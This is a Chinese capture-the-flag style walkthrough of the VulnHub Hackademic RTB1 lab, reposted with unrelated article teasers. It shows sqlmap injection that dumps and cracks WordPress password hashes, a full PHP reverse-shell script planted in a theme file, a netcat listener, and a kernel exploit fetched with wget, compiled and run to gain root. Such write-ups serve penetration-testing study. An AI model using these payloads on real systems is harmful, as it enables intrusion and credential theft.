vulnhub-----Hackademic靶機

文章目錄

  • 1.C段掃描
  • 2.端口掃描
  • 3.服務掃描
  • 4.web分析
  • 5.sql注入
  • 6.目錄掃描
  • 7.寫馬
    • php反彈shell木馬
  • 8.反彈shell
  • 9.內核提權

1.C段掃描

kali:192.168.9.27 靶機：192.168.9.25

┌──(root?kali)-[~]
└─# arp-scan -l                             
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.9.27
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     d4:8f:a2:9f:51:49       Huawei Device Co., Ltd.
192.168.9.12    7c:b5:66:a5:f0:a5       Intel Corporate
192.168.9.25    00:0c:29:8b:bf:a6       VMware, Inc.
192.168.9.31    b2:2b:61:34:28:9f       (Unknown: locally administered)4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.036 seconds (125.74 hosts/sec). 4 responded

2.端口掃描

┌──(root?kali)-[~]
└─# nmap -Pn 192.168.9.0/24 --min-rate 10000Nmap scan report for 192.168.9.25
Host is up (0.11s latency).
Not shown: 990 filtered tcp ports (no-response), 8 filtered tcp ports (host-prohibited)
PORT   STATE  SERVICE
22/tcp closed ssh
80/tcp open   http
MAC Address: 00:0C:29:8B:BF:A6 (VMware)

3.服務掃描

4.web分析

在這里插入圖片描述點擊hackademic
在這里插入圖片描述
源碼發現，類似SQL注入
在這里插入圖片描述

5.sql注入

發現SQL注入漏洞，正常注入，過程就不顯示了

┌──(root?kali)-[~]
└─# sqlmap -u "http://192.168.9.25/Hackademic_RTB1/?cat=1" --batch --level 5 --risk 3_____H_____ ___[,]_____ ___ ___  {1.6.11#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 03:28:45 /2024-02-29/[03:28:45] [INFO] resuming back-end DBMS 'mysql' 
[03:28:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: cat=1 AND (SELECT 1759 FROM(SELECT COUNT(*),CONCAT(0x7171626b71,(SELECT (ELT(1759=1759,1))),0x71767a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: cat=1 AND (SELECT 6594 FROM (SELECT(SLEEP(5)))QlfM)
---
[03:28:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 13 (Goddard)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[03:28:45] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.9.25'
[03:28:45] [WARNING] your sqlmap version is outdated[*] ending @ 03:28:45 /2024-02-29/

┌──(root?kali)-[~]
└─# sqlmap -u "http://192.168.9.25/Hackademic_RTB1/?cat=1" --batch --level 5 --risk 3 -D wordpress -T wp_users -C user_login,user_pass --dump_____H__                                                                            ___ ___[(]_____ ___ ___  {1.6.11#stable}                                               
|_ -| . [(]     | .'| . |                                                               
|___|_  [.]_|_|_|__,|  _|                                                               |_|V...       |_|   https://sqlmap.org                                            [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 03:29:45 /2024-02-29/[03:29:45] [INFO] resuming back-end DBMS 'mysql' 
[03:29:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: cat=1 AND (SELECT 1759 FROM(SELECT COUNT(*),CONCAT(0x7171626b71,(SELECT (ELT(1759=1759,1))),0x71767a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: cat=1 AND (SELECT 6594 FROM (SELECT(SLEEP(5)))QlfM)
---
[03:29:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 13 (Goddard)
web application technology: Apache 2.2.15, PHP 5.3.3
back-end DBMS: MySQL >= 5.0
[03:29:45] [INFO] fetching entries of column(s) 'user_login,user_pass' for table 'wp_users' in database 'wordpress'                                                             
[03:29:45] [INFO] resumed: 'NickJames'
[03:29:45] [INFO] resumed: '21232f297a57a5a743894a0e4a801fc3'
[03:29:45] [INFO] resumed: 'MaxBucky'
[03:29:45] [INFO] resumed: '50484c19f1afdaf3841a0d821ed393d2'
[03:29:45] [INFO] resumed: 'GeorgeMiller'
[03:29:45] [INFO] resumed: '7cbb3252ba6b7e9c422fac5334d22054'
[03:29:45] [INFO] resumed: 'JasonKonnors'
[03:29:45] [INFO] resumed: '8601f6e1028a8e8a966f6c33fcd9aec4'
[03:29:45] [INFO] resumed: 'TonyBlack'
[03:29:45] [INFO] resumed: 'a6e514f9486b83cb53d8d932f9a04292'
[03:29:45] [INFO] resumed: 'JohnSmith'
[03:29:45] [INFO] resumed: 'b986448f0bb9e5e124ca91d3d650f52c'
[03:29:45] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[03:29:45] [INFO] using hash method 'md5_generic_passwd'
[03:29:45] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3' for user 'NickJames'
[03:29:45] [INFO] resuming password 'kernel' for hash '50484c19f1afdaf3841a0d821ed393d2' for user 'MaxBucky'
[03:29:45] [INFO] resuming password 'q1w2e3' for hash '7cbb3252ba6b7e9c422fac5334d22054' for user 'GeorgeMiller'
[03:29:45] [INFO] resuming password 'maxwell' for hash '8601f6e1028a8e8a966f6c33fcd9aec4' for user 'JasonKonnors'
[03:29:45] [INFO] resuming password 'napoleon' for hash 'a6e514f9486b83cb53d8d932f9a04292' for user 'TonyBlack'                                                                 
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[03:29:45] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[03:29:45] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[03:29:45] [INFO] starting 4 processes 
Database: wordpress                                                                    
Table: wp_users
[6 entries]
+--------------+---------------------------------------------+
| user_login   | user_pass                                   |
+--------------+---------------------------------------------+
| NickJames    | 21232f297a57a5a743894a0e4a801fc3 (admin)    |
| MaxBucky     | 50484c19f1afdaf3841a0d821ed393d2 (kernel)   |
| GeorgeMiller | 7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3)   |
| JasonKonnors | 8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell)  |
| TonyBlack    | a6e514f9486b83cb53d8d932f9a04292 (napoleon) |
| JohnSmith    | b986448f0bb9e5e124ca91d3d650f52c            |
+--------------+---------------------------------------------+[03:29:59] [INFO] table 'wordpress.wp_users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.9.25/dump/wordpress/wp_users.csv'                                     
[03:29:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.9.25'                                                                       
[03:29:59] [WARNING] your sqlmap version is outdated[*] ending @ 03:29:59 /2024-02-29/

注入后，得到賬號密碼

+--------------+---------------------------------------------+
| user_login   | user_pass                                   |
+--------------+---------------------------------------------+
| NickJames    | 21232f297a57a5a743894a0e4a801fc3 (admin)    |
| MaxBucky     | 50484c19f1afdaf3841a0d821ed393d2 (kernel)   |
| GeorgeMiller | 7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3)   |
| JasonKonnors | 8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell)  |
| TonyBlack    | a6e514f9486b83cb53d8d932f9a04292 (napoleon) |
| JohnSmith    | b986448f0bb9e5e124ca91d3d650f52c            |
+--------------+---------------------------------------------+

6.目錄掃描

得到賬號密碼后，沒有發現登陸網址，就掃目錄,通過掃目錄我們得到，網站是wordpress框架，找到登錄頁面/Hackademic_RTB1/wp-admin/登陸
使用GeorgeMiller /q1w2e3登陸，其他用戶登陸的話，不能寫木馬

┌──(root?kali)-[~]
└─# dirsearch -u "http://192.168.9.25/Hackademic_RTB1/" -x 403,404,500_|. _ _  _  _  _ _|_    v0.4.3                                                        (_||| _) (/_(_|| (_| )                                                                 Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460Output File: /root/reports/http_192.168.9.25/_Hackademic_RTB1__24-02-29_03-33-30.txtTarget: http://192.168.9.25/[03:33:30] Starting: Hackademic_RTB1/                                                   
[03:34:19] 200 -   15KB - /Hackademic_RTB1/license.txt                      
[03:34:34] 200 -    9KB - /Hackademic_RTB1/readme.html                      
[03:34:52] 301 -  331B  - /Hackademic_RTB1/wp-admin  ->  http://192.168.9.25/Hackademic_RTB1/wp-admin/
[03:34:52] 302 -    0B  - /Hackademic_RTB1/wp-admin/  ->  /Hackademic_RTB1/wp-login.php?redirect_to=%2FHackademic_RTB1%2Fwp-admin%2F
[03:34:52] 200 -  184B  - /Hackademic_RTB1/wp-admin/setup-config.php        
[03:34:52] 200 -    0B  - /Hackademic_RTB1/wp-config.php                    
[03:34:52] 200 -    1KB - /Hackademic_RTB1/wp-admin/install.php             
[03:34:53] 200 -   92B  - /Hackademic_RTB1/wp-content/plugins/hello.php     
[03:34:53] 301 -  333B  - /Hackademic_RTB1/wp-content  ->  http://192.168.9.25/Hackademic_RTB1/wp-content/
[03:34:53] 200 -    1KB - /Hackademic_RTB1/wp-content/                      
[03:34:53] 200 -    0B  - /Hackademic_RTB1/wp-includes/rss-functions.php    
[03:34:53] 200 -    1KB - /Hackademic_RTB1/wp-login.php                     
[03:34:53] 200 -    2KB - /Hackademic_RTB1/wp.php                           
[03:34:53] 301 -  334B  - /Hackademic_RTB1/wp-includes  ->  http://192.168.9.25/Hackademic_RTB1/wp-includes/
[03:34:53] 200 -    1KB - /Hackademic_RTB1/wp-register.php                  
[03:34:54] 200 -    6KB - /Hackademic_RTB1/wp-includes/                     
[03:34:54] 200 -   42B  - /Hackademic_RTB1/xmlrpc.php                       Task Completed

7.寫馬

在這里插入圖片描述

為什么要寫這里？
因為通過上面的目錄掃描，得到http://192.168.9.25//Hackademic_RTB1/wp-content/，這是一個目錄，娃們可以正常的訪問

在這里插入圖片描述
在這里插入圖片描述修改404.php文件
在這里插入圖片描述

php反彈shell木馬

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.9.27';
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}chdir("/");umask(0);// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

8.反彈shell

kali:開啟監聽
nc -lvnp 6666訪問：192.168.9.25//Hackademic_RTB1/wp-content/themes/starburst/404.php

在這里插入圖片描述

9.內核提權

sudo命令不能使用，看到Linux版本過低，采用內核提權的方式┌──(root?kali)-[~]
└─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.9.27] from (UNKNOWN) [192.168.9.25] 48140
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux03:54:32 up  2:59,  0 users,  load average: 0.07, 0.02, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=489(apache) groups=489(apache)
bash: no job control in this shell
bash-4.0$ sudo -l
sudo -l
sudo: sorry, you must have a tty to run sudobash-4.0$ uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

searchsploit linux kernel 2.6.3 | grep 'Escalation'
在這里插入圖片描述靶機下載15285.c

kali:
searchsploit -m 15285.c
python3 -m http.server 8888靶機：
wget http://192.168.9.27:8888/15285.c
gcc 15285.c -o shell                     編譯c文件
chmod +x shell                           加執行權限
./shell                                    運行

bash-4.0$ ./shell
./shell
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...[+] Resolved security_ops to 0xc0aa19ac[+] Resolved default_security_ops to 0xc0955c6c[+] Resolved cap_ptrace_traceme to 0xc055d9d7[+] Resolved commit_creds to 0xc044e5f1[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...[+] Resolved security_ops to 0xc0aa19ac[+] Resolved default_security_ops to 0xc0955c6c[+] Resolved cap_ptrace_traceme to 0xc055d9d7[+] Resolved commit_creds to 0xc044e5f1[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...[+] Resolved security_ops to 0xc0aa19ac[+] Resolved default_security_ops to 0xc0955c6c[+] Resolved cap_ptrace_traceme to 0xc055d9d7[+] Resolved commit_creds to 0xc044e5f1[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
id
uid=0(root) gid=0(root)
cd /root
ls
Desktop
anaconda-ks.cfg
key.txt
key.txt~

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/news/711226.shtml
繁體地址，請注明出處：http://hk.pswp.cn/news/711226.shtml
英文地址，請注明出處：http://en.pswp.cn/news/711226.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

Docker容器（3）單容器管理

Docker容器（3）單容器管理

一、單容器 1.1概念簡介 Docker三個重要概念: 倉庫(Repository); 鏡像(Image); 容器(Container). *Docker的三個重要概念是倉庫(Repository)、鏡像(Image)和容器(Container)**。具體如下&#xff1a; **鏡像(Image)**&#xff1a;Docker鏡像是創建容器的基礎&#xff0c;它類似…
閱讀更多...
『NLP學習筆記』圖解Word2vec(The Illustrated Word2vec)

『NLP學習筆記』圖解Word2vec(The Illustrated Word2vec)

圖解Word2vec(The Illustrated Word2vec) 文章目錄 一. 詞嵌入（word embedding）1.1. 個性嵌入：你是什么樣的人？1.2. 詞嵌入1.3. 類比1.4. 語言模型1.5. 語言模型訓練1.6. 顧及兩頭（上下文）1.7. Skip-gram模型1.8. 重新審視訓練過程1.9. 負例采樣1.10. 基于負例采樣的Skip…
閱讀更多...
Maven面試題

Maven面試題

以下是一些關于Maven的經典面試題以及它們的答案&#xff1a; 1、什么是Maven&#xff1f; Maven是一個項目管理工具&#xff0c;用于構建、管理、發布Java項目。 2、為什么要使用Maven而不是手動管理項目依賴&#xff1f; Maven提供了依賴管理、統一的構建、打包、文檔生…
閱讀更多...
Linux DKMS

Linux DKMS

DKMS&#xff08;Dynamic Kernel Module Support&#xff09;是一個框架&#xff0c;用于構建和安裝內核模塊。它允許第三方內核模塊在系統內核升級時自動重新構建和安裝&#xff0c;從而確保這些模塊與新內核版本兼容。 DKMS的工作原理是將內核模塊的源代碼和安裝腳本存儲在一…
閱讀更多...
Google索引腳本：快速索引你的網站

Google索引腳本：快速索引你的網站

公眾號&#xff1a;【可樂前端】&#xff0c;每天3分鐘學習一個優秀的開源項目&#xff0c;分享web面試與實戰知識。 每天3分鐘開源 hi&#xff0c;這里是每天3分鐘開源&#xff0c;很高興又跟大家見面了&#xff0c;今天介紹的開源項目簡介如下&#xff1a; 倉庫名&#xff1…
閱讀更多...
園區停車管理系統的設計與實現

園區停車管理系統的設計與實現

** &#x1f345;點贊收藏關注 → 私信領取本源代碼、數據庫&#x1f345; 本人在Java畢業設計領域有多年的經驗&#xff0c;陸續會更新更多優質的Java實戰項目希望你能有所收獲&#xff0c;少走一些彎路。&#x1f345;關注我不迷路&#x1f345;** 一 、設計說明 1.1 選題…
閱讀更多...
【前端素材】推薦優質在線通用果蔬商城電商網頁eStore平臺模板（附源碼）

【前端素材】推薦優質在線通用果蔬商城電商網頁eStore平臺模板（附源碼）

一、需求分析 1、系統定義 通用果蔬網站是指專門提供各類果蔬產品展示和銷售的在線平臺。它將不同種類的新鮮水果、蔬菜、干果、堅果等聚集在一起&#xff0c;為消費者提供方便、快捷的購物渠道。 2、功能需求 通用果蔬網站是指專門提供各類果蔬產品展示和銷售的在線平臺。…
閱讀更多...
Nginx常用配置--負載均衡服務

Nginx常用配置--負載均衡服務

可以將 nginx 作為一個非常高效的 HTTP 負載均衡器&#xff0c;將流量分配到多個應用服務器上&#xff0c;并通過 nginx 提高 Web 應用的性能、可擴展性和可靠性。 nginx 可以通過添加一個 upstream&#xff0c;來實現 nginx 的負載均衡功能。 upstream myserver {server 192…
閱讀更多...
算法D27｜回溯算法4｜ 93.復原IP地址 78.子集 90.子集II

算法D27｜回溯算法4｜ 93.復原IP地址 78.子集 90.子集II

93.復原IP地址 本期本來是很有難度的&#xff0c;不過 大家做完 分割回文串 之后&#xff0c;本題就容易很多了 題目鏈接/文章講解&#xff1a;代碼隨想錄 視頻講解&#xff1a;回溯算法如何分割字符串并判斷是合法IP&#xff1f;| LeetCode&#xff1a;93.復原IP地址_嗶哩嗶…
閱讀更多...
面試數據庫篇（mysql）- 08事務

面試數據庫篇（mysql）- 08事務

原理 事務是一組操作的集合，它是一個不可分割的工作單位，事務會把所有的操作作為一個整體一起向系統提交或撤銷操作請求，即這些操作要么同時成功，要么同時失敗。 ACID是什么？可以詳細說一下嗎？ 原子性（Atomicity）：事務是不可分割的最小操作單元，要么全部成功，要么全…
閱讀更多...
添加用戶為root權限，添加到sudo分組中

添加用戶為root權限，添加到sudo分組中

在Linux系統中&#xff0c;將用戶添加到sudo組是一種常見的方式&#xff0c;使得該用戶能夠執行sudo命令&#xff0c;從而獲得管理員權限。以下是如何將用戶添加到sudo組的步驟&#xff1a; 打開終端。 使用以下命令將用戶添加到sudo組。請將username替換為你想要添加到sudo組…
閱讀更多...
Redis之一： 簡介及環境安裝搭建

Redis之一： 簡介及環境安裝搭建

什么是NoSQL? NoSQL&#xff0c;指的是非關系型的數據庫。NoSQL有時也稱作Not Only SQL的縮寫&#xff0c;是對不同于傳統的關系型數據庫的數據庫管理系統的統稱。 NoSQL用于超大規模數據的存儲。&#xff08;例如谷歌或Facebook每天為他們的用戶收集萬億比特的數據&#xf…
閱讀更多...
USB - OTG

USB - OTG

USB OTG (On-The-Go) Definition&#xff08;定義&#xff09;: * USB OTG 可讓平板電腦或智能手機等設備充當主機&#xff0c;允許其他 USB 設備&#xff08;如 USB 閃存驅動器、數碼相機、鼠標或鍵盤&#xff09;連接到它們。 * 它允許設備在主機和外設之間切換角色。例如&am…
閱讀更多...
基于SSM SpringBoot vue服裝物流管理系統

基于SSM SpringBoot vue服裝物流管理系統

基于SSM SpringBoot vue服裝物流管理系統 系統功能 首頁 圖片輪播 人個中心 登錄注冊 后臺管理: 登錄注冊 個人中心 貨物信息管理 貨物入庫管理 訂單信息管理 商品出庫管理 快遞追蹤管理 用戶管理 供應商信息管理 盤點信息管理 管理員管理 開發環境和技術 開發語言&#xf…
閱讀更多...
從入門到精通：Go 實現基于 Token 的登錄流程深度指南

從入門到精通：Go 實現基于 Token 的登錄流程深度指南

文章目錄 基于 Token 的認證機制Token 的結構示例 實踐多設備登錄登出示例 Token 的安全性與最佳實踐使用 HTTPS設置合適的過期時間使用強加密算法保護 Secret Key刷新 Token監控和日志應對 Token 泄露 實際應用案例用戶登錄流程示例代碼 進階&#xff1a;Token 的高級應用細粒…
閱讀更多...
如何生成coredump

如何生成coredump

1、in kernel config : CONFIG_COREDUMPy 2、in android p in bionic/linker/linker_main.cpp disable signal handler&#xff08;comment below code&#xff09; /* #ifdef __ANDROID__ debuggerd_callbacks_t callbacks { .get_abort_message []() { return __libc_share…
閱讀更多...
github-actions

github-actions

文章目錄 workflow觸發器action市場contextsecrets 默認環境變量 workflow name: {{workflow name}} run-name: {{workflow runs name}}on: {{觸發器}} #[push]env:{{定義workflow變量}}: valuejobs:{{job name}}:runs-on: {{運行機器}} #ubuntu-latestenv:{{定義job變量}}: v…
閱讀更多...
小程序開發能力

小程序開發能力

小程序開發能力 1. 獲取用戶頭像 當小程序需要讓用戶完善個人資料時&#xff0c;我們可以通過微信提供的頭像、昵稱填寫能力快速完善。如圖&#xff1a; 想使用微信提供的頭像填寫能力&#xff0c;需要兩步&#xff1a; 將 button 組件 open-type 的值設置為 chooseAvatar當…
閱讀更多...
Python實現時間序列分析動態因子模型(DynamicFactor算法)項目實戰

Python實現時間序列分析動態因子模型(DynamicFactor算法)項目實戰

說明&#xff1a;這是一個機器學習實戰項目&#xff08;附帶數據代碼文檔視頻講解&#xff09;&#xff0c;如需數據代碼文檔視頻講解可以直接到文章最后獲取。 1.項目背景 動態因子模型&#xff08;Dynamic Factor Models, DFM&#xff09;是一種統計學和計量經濟學中用于處理…
閱讀更多...
源碼安裝 HIPIFY 和應用示例,將cuda生態源碼轉化成HIP生態源碼

源碼安裝 HIPIFY 和應用示例,將cuda生態源碼轉化成HIP生態源碼

1&#xff0c;源碼下載 GitHub - ROCm/HIPIFY: HIPIFY: Convert CUDA to Portable C CodeHIPIFY: Convert CUDA to Portable C Code. Contribute to ROCm/HIPIFY development by creating an account on GitHub.https://github.com/ROCm/HIPIFY.git git clone --recursive ht…
閱讀更多...
最新文章

Copyright @ 2022~2023